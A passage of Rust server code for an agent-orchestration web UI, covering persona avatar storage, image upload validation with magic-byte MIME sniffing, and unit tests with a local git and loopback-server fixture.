10089 char::from(b).to_string()
10090 } else {
10091 format!("%{b:02X}")
10092 }
10093 })
10094 .collect()
10095}
10096
10097fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10099 let Some(id) = persona else {
10100 return home.join("avatars/operator.data");
10101 };
10102 let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10103 let mut path = home.join("avatars/personas");
10104 for chunk in encoded.as_bytes().chunks(100) {
10105 path.push(std::str::from_utf8(chunk).expect("hex"));
10106 }
10107 path.join("icon.data")
10108}
10109
10110fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10111 match read_icon_file(&avatar_setting_path(home, Some(id))) {
10112 Some(value) if value == "builtin" => Some(String::new()),
10113 Some(value) => Some(value),
10114 None => configured.map(str::to_owned),
10115 }
10116}
10117
10118fn operator_icon_url(home: &FsPath) -> String {
10119 format!(
10120 "/avatars/operator.svg?v={}",
10121 persona_icon::fingerprint(
10122 read_icon_file(&avatar_setting_path(home, None))
10123 .as_deref()
10124 .or(Some(persona_icon::operator_svg()))
10125 )
10126 )
10127}
10128
10129fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10130 let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10131 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10132 attachment_response(mime, bytes)
10133 }
10134 _ => svg_avatar(builtin),
10135 };
10136 response
10137 .headers_mut()
10138 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10139 response
10140}
10141
10142#[derive(Default, Deserialize)]
10143struct AvatarSettingsQuery {
10144 repo: Option<PathBuf>,
10145 persona: Option<String>,
10146 builtin: Option<String>,
10147 inherit: Option<String>,
10148}
10149
10150fn avatar_settings_specs(
10151 ui: &Ui,
10152 repo: Option<PathBuf>,
10153) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10154 let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10155 let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10156 .map(|cfg| cfg.talk.personas)
10157 .unwrap_or_default();
10158 Ok((repo, specs))
10159}
10160
10161fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10162 let Ok(entries) = std::fs::read_dir(path) else {
10163 return;
10164 };
10165 for entry in entries.flatten() {
10166 let name = entry.file_name().to_string_lossy().into_owned();
10167 if name == "icon.data" {
10168 let bytes: Option<Vec<u8>> = prefix
10169 .as_bytes()
10170 .chunks(2)
10171 .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10172 .collect();
10173 if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10174 out.push(id);
10175 }
10176 } else if name.len() <= 100
10177 && !name.is_empty()
10178 && name.bytes().all(|b| b.is_ascii_hexdigit())
10179 && entry.file_type().is_ok_and(|t| t.is_dir())
10180 {
10181 saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10182 }
10183 }
10184}
10185
10186async fn avatar_settings_get(
10187 State(ui): State<Arc<Ui>>,
10188 Query(q): Query<AvatarSettingsQuery>,
10189) -> ApiResult<Json<serde_json::Value>> {
10190 blocking(move || {
10191 let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10192 let mut catalog = persona::catalog(&specs);
10193 let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10194 let mut saved = Vec::new();
10195 saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10196 for id in saved {
10197 if !catalog.iter().any(|p| p.id == id) {
10198 catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10199 }
10200 }
10201 let personas: Vec<_> = catalog.iter().map(|p| {
10202 let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10203 let override_state = match saved.as_deref() {
10204 Some("builtin") => "builtin",
10205 Some(_) => "custom",
10206 None => "inherit",
10207 };
10208 let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10209 serde_json::json!({"id":p.id,"name":p.name,
10210 "override_state":override_state,"has_config_icon":p.icon.is_some(),
10211 "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10212 avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10213 }).collect();
10214 Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10215 }).await
10216}
10217
10218async fn settings_persona_avatar(
10219 State(ui): State<Arc<Ui>>,
10220 Query(q): Query<AvatarSettingsQuery>,
10221) -> ApiResult<Response> {
10222 blocking(move || {
10223 let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10224 let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10225 let found = persona::find(&specs, id);
10226 let icon =
10227 effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10228 Ok(raster_or_builtin(
10229 icon.as_deref().filter(|_| q.builtin.is_none()),
10230 persona_icon::builtin_svg(id),
10231 ))
10232 })
10233 .await
10234}
10235
10236fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10237 if q.persona
10238 .as_ref()
10239 .is_some_and(|p| p.is_empty() || p.len() > 4096)
10240 {
10241 return Err(ApiError::bad_request("invalid persona id"));
10242 }
10243 Ok(())
10244}
10245
10246async fn avatar_settings_put(
10247 State(ui): State<Arc<Ui>>,
10248 Query(q): Query<AvatarSettingsQuery>,
10249 Json(upload): Json<MagiIconUpload>,
10250) -> ApiResult<Json<serde_json::Value>> {
10251 blocking(move || {
10252 validate_avatar_target(&q)?;
10253 save_icon_file(
10254 &avatar_setting_path(&ui.home, q.persona.as_deref()),
10255 &upload.icon,
10256 )
10257 .map_err(ApiError::bad_request_from)?;
10258 Ok(Json(serde_json::json!({"saved":true})))
10259 })
10260 .await
10261}
10262
10263async fn avatar_settings_delete(
10264 State(ui): State<Arc<Ui>>,
10265 Query(q): Query<AvatarSettingsQuery>,
10266) -> ApiResult<Json<serde_json::Value>> {
10267 blocking(move || {
10268 validate_avatar_target(&q)?;
10269 let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10270 if q.persona.is_some() && q.inherit.is_none() {
10271 atomic_icon_write(&path, "builtin")?;
10272 } else {
10273 match std::fs::remove_file(path) {
10274 Ok(()) => (),
10275 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10276 Err(e) => return Err(anyhow::Error::from(e).into()),
10277 }
10278 }
10279 Ok(Json(serde_json::json!({"saved":true})))
10280 })
10281 .await
10282}
10283
10284fn magi_icon_path(home: &FsPath) -> PathBuf {
10286 home.join("magi-icon.data")
10287}
10288
10289fn read_magi_icon(home: &FsPath) -> Option<String> {
10290 read_icon_file(&magi_icon_path(home))
10291}
10292
10293fn read_icon_file(path: &FsPath) -> Option<String> {
10294 let metadata = std::fs::metadata(path).ok()?;
10295 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10296 return None;
10297 }
10298 let file = std::fs::File::open(path).ok()?;
10299 use std::io::Read;
10300 let mut text = String::new();
10301 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10302 .read_to_string(&mut text)
10303 .ok()?;
10304 if text.len() > persona_icon::ICON_MAX_BYTES {
10305 return None;
10306 }
10307 if text == "builtin" {
10308 return Some(text);
10309 }
10310 validate_uploaded_icon(&text).ok()?;
10311 Some(text)
10312}
10313
10314fn magi_icon_url(home: &FsPath) -> String {
10315 format!(
10316 "/avatars/magi?v={}",
10317 persona_icon::fingerprint(read_magi_icon(home).as_deref())
10318 )
10319}
10320
10321async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10322 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10323}
10324
10325#[derive(Deserialize)]
10326struct MagiIconUpload {
10327 icon: String,
10328}
10329
10330fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10331 save_icon_file(&magi_icon_path(home), icon)
10332}
10333
10334fn validate_uploaded_icon(icon: &str) -> Result<()> {
10335 if !icon.starts_with("data:") {
10336 anyhow::bail!("upload a raster image");
10337 }
10338 let (mime, bytes) = persona_icon::load(icon)?;
10339 if sniffed_mime(&bytes) != Some(mime) {
10340 anyhow::bail!("image content does not match its type");
10341 }
10342 Ok(())
10343}
10344
10345fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10346 validate_uploaded_icon(icon)?;
10347 atomic_icon_write(path, icon)
10348}
10349
10350fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10351 let home = path.parent().expect("icon parent");
10352 std::fs::create_dir_all(home)?;
10353 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10354 let temp = home.join(format!(".magi-icon-{token}.tmp"));
10355 let result = (|| -> Result<()> {
10356 use std::io::Write;
10357 let mut file = std::fs::OpenOptions::new()
10358 .write(true)
10359 .create_new(true)
10360 .open(&temp)?;
10361 file.write_all(icon.as_bytes())?;
10362 file.sync_all()?;
10363 std::fs::rename(&temp, path)?;
10364 Ok(())
10365 })();
10366 let _ = std::fs::remove_file(temp);
10367 result?;
10368 Ok(())
10369}
10370
10371async fn magi_icon_put(
10372 State(ui): State<Arc<Ui>>,
10373 Json(upload): Json<MagiIconUpload>,
10374) -> ApiResult<Json<serde_json::Value>> {
10375 blocking(move || {
10376 if !upload.icon.starts_with("data:") {
10377 return Err(ApiError::bad_request("upload a raster image"));
10378 }
10379 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10380 if sniffed_mime(&bytes) != Some(mime) {
10381 return Err(ApiError::bad_request(
10382 "image content does not match its type",
10383 ));
10384 }
10385 save_magi_icon(&ui.home, &upload.icon)?;
10386 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10387 })
10388 .await
10389}
10390
10391async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10392 blocking(move || {
10393 match std::fs::remove_file(magi_icon_path(&ui.home)) {
10394 Ok(()) => (),
10395 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10396 Err(e) => return Err(anyhow::Error::from(e).into()),
10397 }
10398 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10399 })
10400 .await
10401}
10402
10403async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10404 let icon = (q.builtin.is_none())
10405 .then(|| read_magi_icon(&ui.home))
10406 .flatten();
10407 let mut response = match icon
10408 .as_deref()
10409 .and_then(|icon| persona_icon::load(icon).ok())
10410 {
10411 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10412 attachment_response(mime, bytes)
10413 }
10414 _ => svg_avatar(persona_icon::magi_svg()),
10415 };
10416 response
10417 .headers_mut()
10418 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10419 response
10420}
10421
10422async fn talk_avatar(
10427 State(ui): State<Arc<Ui>>,
10428 Path(id): Path<String>,
10429 Query(q): Query<AvatarQuery>,
10430) -> ApiResult<Response> {
10431 blocking(move || {
10432 let id = resolve_talk(&ui.talks, &id)?;
10433 let talk = ui.talks.get(&id)?;
10434 let wanted = q
10435 .persona
10436 .as_deref()
10437 .map(str::trim)
10438 .filter(|p| !p.is_empty())
10439 .unwrap_or(&talk.persona)
10440 .to_owned();
10441 let specs = match Config::discover(&talk.repo, None) {
10442 Ok((cfg, _)) => cfg.talk.personas,
10443 Err(e) => {
10444 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10445 Vec::new()
10446 }
10447 };
10448 let found = persona::find(&specs, &wanted);
10449 let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10451 let icon = effective_persona_icon(
10452 &ui.home,
10453 &wanted,
10454 found.as_ref().and_then(|p| p.icon.as_deref()),
10455 );
10456 if found.is_none() && icon.is_none() {
10457 return Ok(builtin_avatar(persona::DEFAULT_ID));
10458 }
10459 let Some(icon) = icon
10460 .as_deref()
10461 .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10462 else {
10463 return Ok(builtin_avatar(&wanted));
10464 };
10465 let Some(found) = found else {
10466 return Ok(raster_or_builtin(
10467 Some(icon),
10468 persona_icon::builtin_svg(&wanted),
10469 ));
10470 };
10471 match persona_icon::load(icon) {
10472 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10473 let mut res = attachment_response(mime, bytes);
10474 res.headers_mut().insert(
10475 header::CACHE_CONTROL,
10476 header::HeaderValue::from_static("no-cache"),
10477 );
10478 Ok(res)
10479 }
10480 Ok((mime, _)) => {
10481 tracing::warn!(
10482 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10483 found.id
10484 );
10485 Ok(builtin_avatar(&found.id))
10486 }
10487 Err(e) => {
10488 tracing::warn!(
10489 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
10490 found.id
10491 );
10492 Ok(builtin_avatar(&found.id))
10493 }
10494 }
10495 })
10496 .await
10497}
10498
10499fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
10510 if data.len() > ATTACHMENT_MAX_BYTES {
10511 return Err(ApiError::bad_request(format!(
10512 "attachment is {} bytes, over the {} MiB limit",
10513 data.len(),
10514 ATTACHMENT_MAX_BYTES / (1024 * 1024)
10515 ))
10516 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
10517 }
10518 if data.is_empty() {
10519 return Err(ApiError::bad_request("attachment is empty"));
10520 }
10521 let declared = declared_mime(headers)?;
10522 match sniffed_mime(data) {
10523 Some(sniffed) if sniffed == declared => Ok(declared),
10524 Some(sniffed) => Err(ApiError::bad_request(format!(
10525 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
10526 ))),
10527 None => Err(ApiError::bad_request(
10528 "the file's bytes do not match any accepted image format",
10529 )),
10530 }
10531}
10532
10533fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
10537 let raw = headers
10538 .get(header::CONTENT_TYPE)
10539 .and_then(|v| v.to_str().ok())
10540 .unwrap_or("")
10541 .split(';')
10542 .next()
10543 .unwrap_or("")
10544 .trim()
10545 .to_ascii_lowercase();
10546 ATTACHMENT_MIME_WHITELIST
10547 .iter()
10548 .find(|&&m| m == raw)
10549 .copied()
10550 .ok_or_else(|| {
10551 if raw == "image/svg+xml" {
10552 ApiError::bad_request(
10553 "SVG is not accepted: it can carry active content (e.g. a <script>), \
10554 not just a picture",
10555 )
10556 } else if raw.is_empty() {
10557 ApiError::bad_request("Content-Type is required for an attachment upload")
10558 } else {
10559 ApiError::bad_request(format!(
10560 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
10561 image/gif or image/webp"
10562 ))
10563 }
10564 })
10565}
10566
10567fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10570 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10571 Some("image/png")
10572 } else if data.starts_with(b"\xff\xd8\xff") {
10573 Some("image/jpeg")
10574 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10575 Some("image/gif")
10576 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10577 Some("image/webp")
10578 } else {
10579 None
10580 }
10581}
10582
10583fn filename_header(headers: &HeaderMap) -> String {
10589 headers
10590 .get(FILENAME_HEADER)
10591 .and_then(|v| v.to_str().ok())
10592 .map(str::trim)
10593 .filter(|s| !s.is_empty())
10594 .unwrap_or("attachment")
10595 .to_owned()
10596}
10597
10598fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10605 let content_type = ATTACHMENT_MIME_WHITELIST
10606 .iter()
10607 .find(|&&m| m == mime)
10608 .copied()
10609 .unwrap_or("application/octet-stream");
10610 (
10611 [
10612 (header::CONTENT_TYPE, content_type),
10613 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10614 ],
10615 body,
10616 )
10617 .into_response()
10618}
10619
10620async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10628 let repo = repo.to_path_buf();
10629 blocking(move || {
10630 let (cfg, _) = Config::discover(&repo, None)?;
10631 Ok(cfg)
10632 })
10633 .await
10634}
10635
10636fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10642 let mut hits = ids
10643 .into_iter()
10644 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10645 match (hits.next(), hits.next()) {
10646 (Some(one), None) => Ok(one),
10647 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10648 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10649 "`{prefix}` matches more than one {what}, including {a} and {b}"
10650 ))),
10651 }
10652}
10653
10654#[cfg(test)]
10655mod tests {
10656
10657 #[test]
10658 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10659 let dir = tempfile::tempdir().unwrap();
10660 let store = ask::Questions::at(dir.path().join("questions"));
10661 let mut q = Question::new(
10662 "task".to_owned(),
10663 "conduct".to_owned(),
10664 "conduct".to_owned(),
10665 "choose".to_owned(),
10666 String::new(),
10667 vec!["keep".to_owned()],
10668 );
10669 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10670 q.say("why?").unwrap();
10671 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10672 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10673 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10674 store.put(&mut q).unwrap();
10675 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10676 assert_eq!(store.count_needs_owner(), 1);
10677 store.beat(&q.id, ask::WaiterKind::Deputy);
10678 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10679 assert_eq!(store.count_needs_owner(), 0);
10680 let mut stale = store.read_lease(&q.id).unwrap();
10681 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10682 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10683 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10684 assert!(view.deputy_exhausted);
10685 assert!(view.waiting_on_agent);
10686 assert_eq!(view.question.choices, ["keep"]);
10687 store.drop_lease(&q.id);
10688 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10689 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10690 }
10691
10692 #[test]
10693 fn holder_reads_the_lease_not_the_record() {
10694 let mut q = Question::new(
10695 "run".to_owned(),
10696 "implement".to_owned(),
10697 "impl-A".to_owned(),
10698 "which?".to_owned(),
10699 String::new(),
10700 Vec::new(),
10701 );
10702 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10703 q.cwd = Some("/tmp".to_owned());
10704 assert_eq!(holder_of(&q, None), Some("nobody"));
10705 let beat = |kind, ago: i64| ask::Lease {
10706 kind,
10707 pid: 1,
10708 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10709 .unwrap(),
10710 };
10711 let fresh = beat(ask::WaiterKind::Asker, 1);
10712 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10713 let daemon = beat(ask::WaiterKind::Daemon, 1);
10714 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10715 let stale = beat(ask::WaiterKind::Asker, 3600);
10716 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10717
10718 let mut c = Question::new(
10721 "task".to_owned(),
10722 crate::conduct::NODE.to_owned(),
10723 "conduct".to_owned(),
10724 "which?".to_owned(),
10725 String::new(),
10726 Vec::new(),
10727 );
10728 assert_eq!(holder_of(&c, None), Some("nobody"));
10729 c.cwd = Some("/tmp".to_owned());
10730 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10731 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10732 let deputy = beat(ask::WaiterKind::Deputy, 1);
10733 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10734 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10735
10736 let mut r = Question::new(
10738 String::new(),
10739 crate::bump::NOTICE_NODE.to_owned(),
10740 "release-watch".to_owned(),
10741 "stuck?".to_owned(),
10742 String::new(),
10743 vec!["hold".to_owned()],
10744 );
10745 assert_eq!(holder_of(&r, None), Some("nobody"));
10746 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10747 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10748 r.deputy = None;
10750 r.seat = "bump".to_owned();
10751 assert_eq!(holder_of(&r, None), None);
10752
10753 let mut m = Question::new(
10756 "run".to_owned(),
10757 crate::land::APPROVAL_NODE.to_owned(),
10758 "land".to_owned(),
10759 "merge?".to_owned(),
10760 String::new(),
10761 Vec::new(),
10762 );
10763 assert_eq!(holder_of(&m, None), Some("nobody"));
10764 assert_eq!(
10765 holder_of(&m, Some(&fresh)),
10766 Some("asker"),
10767 "a live explicit wait is a listener even before a deputy is attached"
10768 );
10769 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10770 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10771 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10772 assert_eq!(holder_of(&m, None), Some("nobody"));
10773 }
10774
10775 fn stub_config() -> Config {
10776 Config {
10779 agents: vec![crate::config::AgentSpec {
10780 id: "stub".to_owned(),
10781 kind: AgentKind::Command,
10782 model: None,
10783 command: vec!["true".to_owned()],
10784 extra_args: Vec::new(),
10785 env: Default::default(),
10786 prompt_delivery: None,
10787 max_turn_secs: None,
10788 }],
10789 ..Config::default()
10790 }
10791 }
10792
10793 fn plain_question(seat: &str) -> Question {
10794 Question::new(
10795 String::new(),
10796 "n".to_owned(),
10797 seat.to_owned(),
10798 "s".to_owned(),
10799 String::new(),
10800 Vec::new(),
10801 )
10802 }
10803
10804 #[test]
10805 fn deputies_enabled_follows_the_config() {
10806 let on = stub_config();
10807 assert!(crate::deputy::can_start(Some(&on), ""));
10808 assert!(crate::deputy::can_start(Some(&on), "stub"));
10809 let mut off = on.clone();
10810 off.daemon.max_deputies = 0;
10811 assert!(!crate::deputy::can_start(Some(&off), ""));
10812 let mut empty = on;
10813 empty.agents.clear();
10814 assert!(!crate::deputy::can_start(Some(&empty), ""));
10815 assert!(!crate::deputy::can_start(None, ""));
10816 }
10817
10818 #[test]
10819 fn question_views_load_the_config_once() {
10820 let dir = TempDir::new().unwrap();
10821 let store = ask::Questions::at(dir.path().to_path_buf());
10822 let mut with_deputy = plain_question("b");
10823 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10824 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10825
10826 let calls = std::cell::Cell::new(0usize);
10827 let views = question_views(qs.clone(), &store, || {
10828 calls.set(calls.get() + 1);
10829 Some(stub_config())
10830 });
10831 assert_eq!(calls.get(), 1);
10832 assert_eq!(views.len(), 3);
10833 for (v, q) in views.iter().zip(&qs) {
10834 assert_eq!(
10835 v.deputies_enabled,
10836 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
10837 );
10838 }
10839
10840 let views = question_views(qs, &store, || None);
10841 assert!(views.iter().all(|v| !v.deputies_enabled));
10842
10843 let calls = std::cell::Cell::new(0usize);
10844 let views = question_views(Vec::new(), &store, || {
10845 calls.set(calls.get() + 1);
10846 None
10847 });
10848 assert!(views.is_empty());
10849 assert_eq!(calls.get(), 0);
10850 }
10851
10852 use pretty_assertions::assert_eq;
10853 use serde_json::Value;
10854 use tempfile::TempDir;
10855 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
10856
10857 use super::*;
10858 use crate::config::Config;
10859 use crate::queue::Source;
10860
10861 const SETTLE_STEPS: usize = 3_000;
10872
10873 struct Fixture {
10879 home: TempDir,
10880 addr: SocketAddr,
10881 }
10882
10883 impl Fixture {
10884 async fn start() -> Self {
10885 Self::with_loop(launch_idle).await
10886 }
10887
10888 async fn with_loop(launch: Launch) -> Self {
10890 let home = TempDir::new().expect("temp home");
10891 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
10892 Self { home, addr }
10893 }
10894
10895 async fn with_repo(repo: PathBuf) -> Self {
10899 let home = TempDir::new().expect("temp home");
10900 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
10901 Self { home, addr }
10902 }
10903
10904 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
10907 let home = TempDir::new().expect("temp home");
10908 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
10909 Self { home, addr }
10910 }
10911
10912 async fn serve(
10913 home: &FsPath,
10914 repo: PathBuf,
10915 launch: Launch,
10916 machine: Option<PathBuf>,
10917 ) -> SocketAddr {
10918 let queue = Queue::at(home.join("queue"));
10919 let runs = home.join("runs");
10920 std::fs::create_dir_all(&runs).expect("runs dir");
10921 let worktrees = home.join("wt").join("magi");
10922 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
10923 let ui = Ui::new(
10924 queue,
10925 Questions::at(home.join("questions")),
10926 Talks::at(home.join("talks")),
10927 runs,
10928 home.to_path_buf(),
10929 repo,
10930 )
10931 .with_worktrees_root(worktrees)
10932 .with_machine_config(machine)
10933 .with_launch(launch);
10934 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10935 .await
10936 .expect("bind loopback");
10937 let addr = listener.local_addr().expect("local addr");
10938 tokio::spawn(async move {
10939 let router = ui
10940 .router()
10941 .layer(axum::middleware::from_fn(request_cost::observe));
10942 let _ = axum::serve(listener, router).await;
10943 });
10944 addr
10945 }
10946
10947 fn queue(&self) -> Queue {
10948 Queue::at(self.home.path().join("queue"))
10949 }
10950
10951 fn questions(&self) -> Questions {
10952 Questions::at(self.home.path().join("questions"))
10953 }
10954
10955 fn talks(&self) -> Talks {
10956 Talks::at(self.home.path().join("talks"))
10957 }
10958
10959 fn runs(&self) -> PathBuf {
10960 self.home.path().join("runs")
10961 }
10962
10963 async fn get(&self, path: &str) -> Res {
10964 request(self.addr, "GET", path, None).await
10965 }
10966
10967 async fn head(&self, path: &str) -> Res {
10972 request(self.addr, "HEAD", path, None).await
10973 }
10974
10975 async fn post(&self, path: &str, body: Option<&str>) -> Res {
10976 request(self.addr, "POST", path, body).await
10977 }
10978
10979 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
10980 request_with(self.addr, "GET", path, None, extra).await
10981 }
10982
10983 async fn delete(&self, path: &str) -> Res {
10984 request(self.addr, "DELETE", path, None).await
10985 }
10986
10987 async fn put(&self, path: &str, body: &str) -> Res {
10988 request(self.addr, "PUT", path, Some(body)).await
10989 }
10990
10991 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
10993 request_bytes(self.addr, path, headers, body).await
10994 }
10995 }
10996
10997 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11000 let tmp = TempDir::new().unwrap();
11001 let mut repos = Vec::new();
11002 for name in ["one", "two"] {
11003 let repo = tmp.path().join(name);
11004 let origin = tmp.path().join(format!("{name}.git"));
11005 std::fs::create_dir_all(&repo).unwrap();
11006 crate::git::git(&repo, &["init", "-b", "main"])
11007 .await
11008 .unwrap();
11009 std::fs::write(
11010 repo.join("magi.toml"),
11011 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11012 )
11013 .unwrap();
11014 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11015 crate::git::git(
11016 &repo,
11017 &[
11018 "-c",
11019 "user.name=fixture",
11020 "-c",
11021 "user.email=fixture@example.invalid",
11022 "commit",
11023 "-m",
11024 "fixture",
11025 ],
11026 )
11027 .await
11028 .unwrap();
11029 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11030 .await
11031 .unwrap();
11032 crate::git::git(
11033 &repo,
11034 &["remote", "add", "origin", origin.to_str().unwrap()],
11035 )
11036 .await
11037 .unwrap();
11038 crate::git::git(&repo, &["push", "origin", "main"])
11039 .await
11040 .unwrap();
11041 crate::git::git(
11042 &repo,
11043 &[
11044 "symbolic-ref",
11045 "refs/remotes/origin/HEAD",
11046 "refs/remotes/origin/main",
11047 ],
11048 )
11049 .await
11050 .unwrap();
11051 let (cfg, _) = Config::discover(&repo, None).unwrap();
11052 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11053 repos.push(repo);
11054 }
11055 let repos: [PathBuf; 2] = repos.try_into().unwrap();
11056 (tmp, repos)
11057 }
11058
11059 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11060 let (tmp, repos) = performance_repositories().await;
11061 let machine = tmp.path().join("machine.toml");
11062 std::fs::write(&machine, "").unwrap();
11063 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11064 (tmp, repos, fx)
11065 }
11066
11067 fn seed_performance(
11068 fx: &Fixture,
11069 repos: &[PathBuf; 2],
11070 questions: usize,
11071 runs: usize,
11072 items: usize,
11073 ) {
11074 for i in fx.questions().list().len()..questions {
11076 let mut question = Question::new(
11077 "20261001-000000-0000".into(),
11078 "implement".into(),
11079 "impl-A".into(),
11080 format!("question {i}"),
11081 "context".into(),
11082 vec!["yes".into(), "no".into()],
11083 );
11084 question.id = format!("20261003-000000-{i:04x}");
11085 fx.questions().put(&mut question).unwrap();
11086 }
11087 for i in run_ids(&fx.runs()).len()..runs {
11088 write_run_repo(
11089 &fx.runs(),
